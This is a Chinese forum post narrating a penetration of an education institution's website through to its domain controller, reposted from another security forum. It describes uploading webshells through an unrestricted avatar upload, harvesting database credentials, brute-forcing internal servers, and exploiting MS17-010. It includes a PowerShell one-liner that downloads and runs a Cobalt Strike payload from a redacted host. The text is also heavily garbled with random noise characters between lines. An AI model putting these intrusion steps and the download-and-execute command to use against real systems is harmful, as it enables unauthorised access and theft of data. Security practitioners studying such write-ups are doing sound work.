这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路! O8 ^/ a& E) u, p9 @
5 }. _2 w7 d) I1 [8 h2 B1 t7 Z; g9 ?/ _7 `6 X9 u
正文
b; {& a, y! l, d9 C K" L0 n# w4 G- w$ t4 W. W- W' ? 5 F3 A: c3 `, `7 E0 `) |
4 P8 y4 X& [* y' |. ^3 N2 Z5 f* y) e* U* B" K) R
目标:www.xxxx.com(一家教育机构)
. Q! t4 @9 j: i
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
4 d' P& g# `# d- W2 H; ]! W
进行了简单的信息搜集
子域名搜集
" H( g( S9 i% I( j0 V. v) a5 X; k
fofa找资产
# E0 h# N! N+ d5 g, v
# ] X7 |2 ^' |( k
* B. C& D/ i L5 h! q' o
一共七个资产。去重之后只有两个。
3 M, d% ]. h9 v, J/ h: s: @4 Z
' M5 c3 O- G8 Y! W$ ~* U
! ~; p& D( m: ^3 N7 @ ]
$ ~- }: K/ Z6 i, D3 |6 I& o 目录探测1 ^" K% e$ k% g _1 u4 \. J
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
4 j% G5 m; f3 E+ L1 t! x
3 W3 t% s, g, ~( F6 d6 d+ Z7 q- I
! R. e7 p: Q X4 L5 X4 O 我又尝试了通过修改返回包来绕过登录界面8 K6 `. G& w3 J9 \4 p* P
; x. G- r; ^7 p
还是不行,尝试注入无果
: D8 P# ~) E5 i, Z
% k8 Q% G% [$ o0 D
不过我目录探测出了一处Spring信息泄露
, L5 M, D3 N1 C; S9 a, o
- @* k0 E9 T7 c
" L% V1 z* ?, X! ^* f, D( b
+ B- [6 D/ E; d9 m6 O' t4 e
3 v! w+ z8 P$ T$ c. @& l# |& c$ ~
尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
8 I6 B1 I7 v2 d, u# ` 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。; V l. x' {% f1 l5 U
}0 Y* X' j+ D" ^! G3 U9 R: u: i* v/ p' k3 a) p2 t
. n/ B7 q# f2 T2 j, E$ V
: q3 Z: v% d, H3 { y 获取有些师傅到这一步就手机抓包电脑测了。
Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。
# F: ]( T* Y- v5 a6 @5 f1 y! j9 I+ y' ~- Z, ]5 ^: I$ i- S9 q 其中在一个公众号发现了小程序,可以进行注册。6 B0 g% E! Z- x e8 W
/ V! n! E! j+ t; j/ {. s- B2 d, O7 p# f% n7 _ 看到了头像上传,尝试上传获取WebShell7 m" V* D7 A% o: }) C
. Y$ x+ T( R6 \! ?% k& @# F& b& X3 B" f0 a
' Q& I5 s& K( T' v/ G 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问
# A: A0 I: O/ M; D& M* f0 M) N; C 然后上了大马
. \8 v: l; o' @2 [; p
7 c9 F: _' x7 z
9 k- _- @; [# W: d0 X2 Q. B
$ [' I! v' b: A3 S0 z 通过翻找文件发现数据库账号密码- X1 d |$ _2 L% P8 Y' b# I* |
3 Q# `1 j. g- |- }% P W1 j
" O% _+ T0 i$ a; P --内网渗透9 Y/ t+ Z% D& M2 E& g
$ d$ i+ q0 L* M* O3 ~( n( N8 {; c2 {0 F" V& } G 直接通过powershell执行 cs上线% l% F1 Z; x7 h% M' E$ R1 a! B
! d1 w' n H/ ?powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
" u( ?4 ~: R6 G' }
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破$ W% J) p q6 o4 a
4 l. f5 M/ h7 l9 |2 w" H
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
; K; E3 c0 Q. @6 @
8 O* H# n- N+ S: E# ]! F7 h+ ?
# @: Y0 Y4 J' p+ Y3 {2 G
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
% f4 n: d( o1 U
. }+ _6 ~$ B' I" Z
3 G' M" O2 S0 _: C# j, s; K& H8 w
0 u# V% G+ a5 x7 Q- ]8 G3 m
# ]% w% }9 v# M# ~4 u# Z" X
/ ^2 Q4 Y1 U9 L9 l# k2 D4 [
6 u; C* d" M, W; K. Y
- E2 q# P& p- X2 ~小结
0 g5 n5 s- `# b9 k" I# O7 ^, d; y. j) U* T* M; f# L
& o. p+ A+ ^3 W0 h" R/ [在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!4 ]4 u. L C2 M: b) N; q, ]. M
9 k2 f8 C. B1 H3 E2 z 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
; ]$ z( z# l! j& T: C/ K/ t
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |